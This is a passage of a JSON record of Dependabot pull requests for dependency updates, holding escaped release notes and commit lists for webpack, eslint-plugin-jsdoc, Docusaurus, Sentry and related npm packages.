Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eFix lazy barrel deferral of ungrouped side-effect imports. (by \u003ca href=\"https://github.com/hai-x\"\u003e\u003ccode\u003e@​hai-x\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21291\"\u003e#21291\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eRespect the \u003ccode\u003enode:\u003c/code\u003e prefix for node.js core modules used as externals. (by \u003ca href=\"https://github.com/alexander-akait\"\u003e\u003ccode\u003e@​alexander-akait\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21286\"\u003e#21286\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev5.108.1\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eFix invalid property access for escaped namespace imports with multi-character mangled export names. (by \u003ca href=\"https://github.com/xiaoxiaojx\"\u003e\u003ccode\u003e@​xiaoxiaojx\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21280\"\u003e#21280\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAdd frames to ProfilingPlugin TracingStartedInBrowser event so the trace loads in Chrome DevTools. (by \u003ca href=\"https://github.com/alexander-akait\"\u003e\u003ccode\u003e@​alexander-akait\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21269\"\u003e#21269\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev5.108.0\u003c/h2\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eTreat top-level await and \u003ccode\u003eimport.meta\u003c/code\u003e as ES module markers, matching Node.js syntax detection so no explicit module type is needed. (by \u003ca href=\"https://github.com/alexander-akait\"\u003e\u003ccode\u003e@​alexander-akait\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21218\"\u003e#21218\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/webpack/webpack/blob/main/CHANGELOG.md\"\u003ewebpack's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e5.108.4\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eSpeed up non-CSS-Modules parsing by not building unused selector AST nodes. (by \u003ca href=\"https://github.com/alexander-akait\"\u003e\u003ccode\u003e@​alexander-akait\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21324\"\u003e#21324\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eSpeed up non-CSS-Modules CSS parsing by dropping value tokens nothing reads. (by \u003ca href=\"https://github.com/alexander-akait\"\u003e\u003ccode\u003e@​alexander-akait\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21324\"\u003e#21324\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eResolve HTML asset URLs against the document \u003ccode\u003e\u0026lt;base href\u0026gt;\u003c/code\u003e. (by \u003ca href=\"https://github.com/alexander-akait\"\u003e\u003ccode\u003e@​alexander-akait\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21329\"\u003e#21329\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAdd HTML integration tests: generateError output, ignored src, null-char parse. (by \u003ca href=\"https://github.com/aryanraj45\"\u003e\u003ccode\u003e@​aryanraj45\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21328\"\u003e#21328\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eReduce CPU and memory overhead of HTML and CSS parsing and code generation. (by \u003ca href=\"https://github.com/alexander-akait\"\u003e\u003ccode\u003e@​alexander-akait\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21332\"\u003e#21332\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eReduce HTML parser memory and CPU by skipping unused AST nodes. (by \u003ca href=\"https://github.com/alexander-akait\"\u003e\u003ccode\u003e@​alexander-akait\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21323\"\u003e#21323\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eReduce HTML parser memory by storing the AST in struct-of-arrays form. (by \u003ca href=\"https://github.com/alexander-akait\"\u003e\u003ccode\u003e@​alexander-akait\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21331\"\u003e#21331\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eKey the provided-exports cache on a lazy barrel's still-lazy re-export targets. (by \u003ca href=\"https://github.com/hai-x\"\u003e\u003ccode\u003e@​hai-x\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21326\"\u003e#21326\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eDefault \u003ccode\u003eoutput.globalObject\u003c/code\u003e to \u003ccode\u003eglobalThis\u003c/code\u003e for universal targets. (by \u003ca href=\"https://github.com/alexander-akait\"\u003e\u003ccode\u003e@​alexander-akait\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21314\"\u003e#21314\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003ePass through \u003ccode\u003enew URL(...)\u003c/code\u003e directory references instead of resolving them. (by \u003ca href=\"https://github.com/alexander-akait\"\u003e\u003ccode\u003e@​alexander-akait\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21312\"\u003e#21312\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e5.108.3\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eSpeed up CSS parsing and reduce CSS AST node memory. (by \u003ca href=\"https://github.com/alexander-akait\"\u003e\u003ccode\u003e@​alexander-akait\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21285\"\u003e#21285\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eFix HMR codegen crash for harmony accept with unresolved imports. (by \u003ca href=\"https://github.com/xiaoxiaojx\"\u003e\u003ccode\u003e@​xiaoxiaojx\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21302\"\u003e#21302\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eMatch harmony accept dependencies by module reference so HMR codegen handles imports without a module or chunk id. (by \u003ca href=\"https://github.com/alexander-akait\"\u003e\u003ccode\u003e@​alexander-akait\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21303\"\u003e#21303\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e5.108.2\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eFix lazy barrel deferral of ungrouped side-effect imports. (by \u003ca href=\"https://github.com/hai-x\"\u003e\u003ccode\u003e@​hai-x\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21291\"\u003e#21291\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eRespect the \u003ccode\u003enode:\u003c/code\u003e prefix for node.js core modules used as externals. (by \u003ca href=\"https://github.com/alexander-akait\"\u003e\u003ccode\u003e@​alexander-akait\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21286\"\u003e#21286\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e5.108.1\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eFix invalid property access for escaped namespace imports with multi-character mangled export names. (by \u003ca href=\"https://github.com/xiaoxiaojx\"\u003e\u003ccode\u003e@​xiaoxiaojx\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21280\"\u003e#21280\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAdd frames to ProfilingPlugin TracingStartedInBrowser event so the trace loads in Chrome DevTools. (by \u003ca href=\"https://github.com/alexander-akait\"\u003e\u003ccode\u003e@​alexander-akait\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21269\"\u003e#21269\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/webpack/webpack/commit/bb9ccfd32b8059819204a48bdb5436c9266dcdf0\"\u003e\u003ccode\u003ebb9ccfd\u003c/code\u003e\u003c/a\u003e chore(release): new release (\u003ca href=\"https://redirect.github.com/webpack/webpack/issues/21319\"\u003e#21319\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/webpack/webpack/commit/76390666e9dcf1cb8e0080db9eccafbdb7f53c2c\"\u003e\u003ccode\u003e7639066\u003c/code\u003e\u003c/a\u003e fix: invalidate provided-exports cache with lazy barrel (\u003ca href=\"https://redirect.github.com/webpack/webpack/issues/21326\"\u003e#21326\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/webpack/webpack/commit/ae28c5421263a001fe1901b7374bd26797658bca\"\u003e\u003ccode\u003eae28c54\u003c/code\u003e\u003c/a\u003e perf: reduce CPU and memory overhead of the HTML and CSS pipelines (\u003ca href=\"https://redirect.github.com/webpack/webpack/issues/21332\"\u003e#21332\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/webpack/webpack/commit/e6fb5473224f4cf574e907019499d99b44282d2b\"\u003e\u003ccode\u003ee6fb547\u003c/code\u003e\u003c/a\u003e perf: re-encode the HTML AST as struct-of-arrays behind a path-based visitor ...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/webpack/webpack/commit/5ce1c22edd2f6af4198c4163442d40e97e336060\"\u003e\u003ccode\u003e5ce1c22\u003c/code\u003e\u003c/a\u003e fix(html): resolve asset URLs against \u0026lt;base href\u0026gt; (\u003ca href=\"https://redirect.github.com/webpack/webpack/issues/21329\"\u003e#21329\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/webpack/webpack/commit/0e43c4ac179173e85a4392722e601743e7c04591\"\u003e\u003ccode\u003e0e43c4a\u003c/code\u003e\u003c/a\u003e test(html): cover generateError, ignored-source, and null-character parse pat...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/webpack/webpack/commit/cebd7935a9616f4c3460b9e197f3cca199710192\"\u003e\u003ccode\u003ecebd793\u003c/code\u003e\u003c/a\u003e refactor: build export-presence guards from a lazy boolean formula (\u003ca href=\"https://redirect.github.com/webpack/webpack/issues/21320\"\u003e#21320\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/webpack/webpack/commit/c2628cf7c3549b54ed08bf68914f39affa63503b\"\u003e\u003ccode\u003ec2628cf\u003c/code\u003e\u003c/a\u003e fix: don't resolve new URL() directory references as modules (\u003ca href=\"https://redirect.github.com/webpack/webpack/issues/21312\"\u003e#21312\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/webpack/webpack/commit/00d8b2f8863fb582fd0cd510e15f4de6879ade31\"\u003e\u003ccode\u003e00d8b2f\u003c/code\u003e\u003c/a\u003e perf: speed up non-CSS-Modules CSS parsing by skipping unused AST work (\u003ca href=\"https://redirect.github.com/webpack/webpack/issues/21324\"\u003e#21324\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/webpack/webpack/commit/f7a3f6d9e2276631ca67cf4636f504e5d2f9c13a\"\u003e\u003ccode\u003ef7a3f6d\u003c/code\u003e\u003c/a\u003e perf: reduce HTML parser memory and CPU with parser-level skip options (\u003ca href=\"https://redirect.github.com/webpack/webpack/issues/21323\"\u003e#21323\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/webpack/webpack/compare/v5.107.2...v5.108.4\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `eslint-plugin-jsdoc` from 63.0.11 to 63.0.13\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/gajus/eslint-plugin-jsdoc/releases\"\u003eeslint-plugin-jsdoc's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev63.0.13\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/gajus/eslint-plugin-jsdoc/compare/v63.0.12...v63.0.13\"\u003e63.0.13\u003c/a\u003e (2026-07-10)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efailing pages build and deployment (\u003ca href=\"https://github.com/gajus/eslint-plugin-jsdoc/commit/3728347dea9e6cb0b8f3dec069df2a4654e7a2d6\"\u003e3728347\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev63.0.12\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/gajus/eslint-plugin-jsdoc/compare/v63.0.11...v63.0.12\"\u003e63.0.12\u003c/a\u003e (2026-07-06)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCJS builds; fixes \u003ca href=\"https://redirect.github.com/gajus/eslint-plugin-jsdoc/issues/1719\"\u003e#1719\u003c/a\u003e (\u003ca href=\"https://github.com/gajus/eslint-plugin-jsdoc/commit/df5813ca8fc1362e4ffc06f5ae2a72a3f70f3fb5\"\u003edf5813c\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gajus/eslint-plugin-jsdoc/commit/3728347dea9e6cb0b8f3dec069df2a4654e7a2d6\"\u003e\u003ccode\u003e3728347\u003c/code\u003e\u003c/a\u003e fix: failing pages build and deployment\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gajus/eslint-plugin-jsdoc/commit/df5813ca8fc1362e4ffc06f5ae2a72a3f70f3fb5\"\u003e\u003ccode\u003edf5813c\u003c/code\u003e\u003c/a\u003e fix: CJS builds; fixes \u003ca href=\"https://redirect.github.com/gajus/eslint-plugin-jsdoc/issues/1719\"\u003e#1719\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/gajus/eslint-plugin-jsdoc/compare/v63.0.11...v63.0.13\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@docusaurus/core` from 3.10.1 to 3.10.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/facebook/docusaurus/releases\"\u003e@​docusaurus/core's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.10.2 (2026-07-10)\u003c/h2\u003e\n\u003cp\u003eBackport and cherry-pick commits from main for v3.10.2 patch release:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e[fix(bundler): do not import \u003ccode\u003e@swc/html\u003c/code\u003e, fix StackBlitz playground \u003ca href=\"https://github.com/facebook/docusaurus/tree/HEAD/packages/docusaurus/issues/12055\"\u003e#12055\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/facebook/docusaurus/pull/12055\"\u003efacebook/docusaurus#12055\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[fix(core): use locale url in site config \u003ca href=\"https://github.com/facebook/docusaurus/tree/HEAD/packages/docusaurus/issues/12054\"\u003e#12054\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/facebook/docusaurus/pull/12054\"\u003efacebook/docusaurus#12054\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[fix(theme-classic): remove redundant sidebar label titles \u003ca href=\"https://github.com/facebook/docusaurus/tree/HEAD/packages/docusaurus/issues/11966\"\u003e#11966\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/facebook/docusaurus/pull/11966\"\u003efacebook/docusaurus#11966\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[fix(mdx-loader): avoid transforming dotted directory links into asset… \u003ca href=\"https://github.com/facebook/docusaurus/tree/HEAD/packages/docusaurus/issues/11944\"\u003e#11944\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/facebook/docusaurus/pull/11944\"\u003efacebook/docusaurus#11944\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[fix(dev-server): for HTTPS, support non-RSA TLS certs \u003ca href=\"https://github.com/facebook/docusaurus/tree/HEAD/packages/docusaurus/issues/12065\"\u003e#12065\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/facebook/docusaurus/pull/12065\"\u003efacebook/docusaurus#12065\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[fix(utils): fix \u003ccode\u003eextractLeadingEmoji()\u003c/code\u003e edge cases \u003ca href=\"https://github.com/facebook/docusaurus/tree/HEAD/packages/docusaurus/issues/12100\"\u003e#12100\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/facebook/docusaurus/pull/12100\"\u003efacebook/docusaurus#12100\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[fix(gtag.js, faster): Fix StackBlitz, vendor \u003ccode\u003e@types/gtag.js\u003c/code\u003e, upgrade \u003ccode\u003e@swc/html\u003c/code\u003e \u003ca href=\"https://github.com/facebook/docusaurus/tree/HEAD/packages/docusaurus/issues/12080\"\u003e#12080\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/facebook/docusaurus/pull/12080\"\u003efacebook/docusaurus#12080\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[fix(create-docusaurus): init template README should use npm commands by default \u003ca href=\"https://github.com/facebook/docusaurus/tree/HEAD/packages/docusaurus/issues/12138\"\u003e#12138\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/facebook/docusaurus/pull/12138\"\u003efacebook/docusaurus#12138\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[fix(cli): \u003ccode\u003edocusaurus serve\u003c/code\u003e should pass \u003ccode\u003e--host\u003c/code\u003e to \u003ccode\u003eserver.listen()\u003c/code\u003e \u003ca href=\"https://github.com/facebook/docusaurus/tree/HEAD/packages/docusaurus/issues/12127\"\u003e#12127\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/facebook/docusaurus/pull/12127\"\u003efacebook/docusaurus#12127\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[fix(core): bump detect-port to v2.1, fix pnpm \u003ccode\u003etrustPolicy\u003c/code\u003e downgrade issue \u003ca href=\"https://github.com/facebook/docusaurus/tree/HEAD/packages/docusaurus/issues/12012\"\u003e#12012\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/facebook/docusaurus/pull/12012\"\u003efacebook/docusaurus#12012\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[fix(i18n): complete Spanish translations for theme-common and theme-l… \u003ca href=\"https://github.com/facebook/docusaurus/tree/HEAD/packages/docusaurus/issues/12180\"\u003e#12180\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/facebook/docusaurus/pull/12180\"\u003efacebook/docusaurus#12180\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[chore(deps): migrate to \u003ccode\u003e@11ty/gray-matter\u003c/code\u003e \u003ca href=\"https://github.com/facebook/docusaurus/tree/HEAD/packages/docusaurus/issues/12181\"\u003e#12181\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/facebook/docusaurus/pull/12181\"\u003efacebook/docusaurus#12181\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[fix(core): fix BaseUrlIssueBanne...\n\n_Description has been truncated_","html_url":"https://github.com/stellar/freighter/pull/2912","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/stellar%2Ffreighter/issues/2912","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/2912/packages"}},{"old_version":"8.5.17","new_version":"8.5.19","update_type":"patch","path":"/frontend","pr_created_at":"2026-07-19T00:34:18.000Z","version_change":"8.5.17 → 8.5.19","issue":{"uuid":"4920657453","node_id":"PR_kwDOQedBh87zcBgK","number":652,"state":"open","title":"chore(deps): bump the npm-frontend-patch-minor group in /frontend with 6 updates","user":"dependabot[bot]","labels":["dependencies","type:chore","area:frontend","area:ci"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-07-19T00:34:18.000Z","updated_at":"2026-07-19T00:34:27.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): bump","group_name":"npm-frontend-patch-minor","update_count":6,"packages":[{"name":"@sentry/browser","old_version":"10.65.0","new_version":"10.66.0","repository_url":"https://github.com/getsentry/sentry-javascript"},{"name":"libphonenumber-js","old_version":"1.13.8","new_version":"1.13.9"},{"name":"@chromatic-com/playwright","old_version":"0.14.10","new_version":"0.14.11","repository_url":"https://github.com/chromaui/chromatic-e2e"},{"name":"autoprefixer","old_version":"10.5.2","new_version":"10.5.4","repository_url":"https://github.com/postcss/autoprefixer"},{"name":"postcss","old_version":"8.5.17","new_version":"8.5.19","repository_url":"https://github.com/postcss/postcss"},{"name":"typescript-eslint","old_version":"8.63.0","new_version":"8.64.0","repository_url":"https://github.com/typescript-eslint/typescript-eslint"}],"path":"/frontend","ecosystem":"npm"},"body":"Bumps the npm-frontend-patch-minor group in /frontend with 6 updates:\n\n| Package | From | To |\n| --- | --- | --- |\n| [@sentry/browser](https://github.com/getsentry/sentry-javascript) | `10.65.0` | `10.66.0` |\n| [libphonenumber-js](https://gitlab.com/catamphetamine/libphonenumber-js) | `1.13.8` | `1.13.9` |\n| [@chromatic-com/playwright](https://github.com/chromaui/chromatic-e2e/tree/HEAD/packages/playwright) | `0.14.10` | `0.14.11` |\n| [autoprefixer](https://github.com/postcss/autoprefixer) | `10.5.2` | `10.5.4` |\n| [postcss](https://github.com/postcss/postcss) | `8.5.17` | `8.5.19` |\n| [typescript-eslint](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-eslint) | `8.63.0` | `8.64.0` |\n\nUpdates `@sentry/browser` from 10.65.0 to 10.66.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/getsentry/sentry-javascript/releases\"\u003e@​sentry/browser's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e10.66.0\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003echore(node-core): Deprecate \u003ccode\u003e@sentry/node-core\u003c/code\u003e package (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22285\"\u003e#22285\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(tanstackstart): Deprecate \u003ccode\u003e@sentry/tanstackstart\u003c/code\u003e package (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22284\"\u003e#22284\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003edeps(server-utils): bump \u003ccode\u003e@​apm-js-collab/code-transformer\u003c/code\u003e and tracing-hooks (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22172\"\u003e#22172\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efeat(bun): Add \u003ccode\u003einitWithoutDefaultIntegrations\u003c/code\u003e and \u003ccode\u003egetDefaultIntegrationsWithoutPerformance\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22036\"\u003e#22036\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efeat(bundlers): Add orchestrion bundler plugins (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22124\"\u003e#22124\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efeat(cloudflare): Support Cloudflare types v5 \u0026amp; newer wrangler versions (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22180\"\u003e#22180\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efeat(core): Add and use \u003ccode\u003edataCollection.databaseQueryData\u003c/code\u003e (for e.g. Supabase filter values and mutation bodies) (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22219\"\u003e#22219\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efeat(core): Add and use \u003ccode\u003edataCollection.graphQL\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22221\"\u003e#22221\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efeat(core): Add stringify helper and make AI-tracing serializers safe (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22163\"\u003e#22163\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efeat(nestjs): Add orchestrion diagnostics-channel instrumentation (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22176\"\u003e#22176\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efeat(nextjs): Add opt-in for orchestrion instrumentation (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22043\"\u003e#22043\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efeat(node): Rewrite knex instrumentation to orchestrion tracing channels (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22237\"\u003e#22237\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efeat(server-utils): Capture and log orchestrion stats (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22269\"\u003e#22269\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efeat(server-utils): Migrate \u003ccode\u003e@opentelemetry/instrumentation-kafkajs\u003c/code\u003e to orchestrion (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/21923\"\u003e#21923\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efeat(server-utils): Migrate \u003ccode\u003e@opentelemetry/instrumentation-mysql2\u003c/code\u003e to orchestrion (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22229\"\u003e#22229\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efeat(server-utils): Rewrite \u003ccode\u003e@opentelemetry/instrumentation-dataloader\u003c/code\u003e to orchestrion (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22236\"\u003e#22236\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efeat(server-utils): Rewrite \u003ccode\u003e@opentelemetry/instrumentation-generic-pool\u003c/code\u003e to orchestrion (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22240\"\u003e#22240\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efeat(sveltekit): Detect SvelteKit 3 native tracing from the Vite plugin (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/21580\"\u003e#21580\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: Include bundler CJS exports to fix Node warning (\u003ca 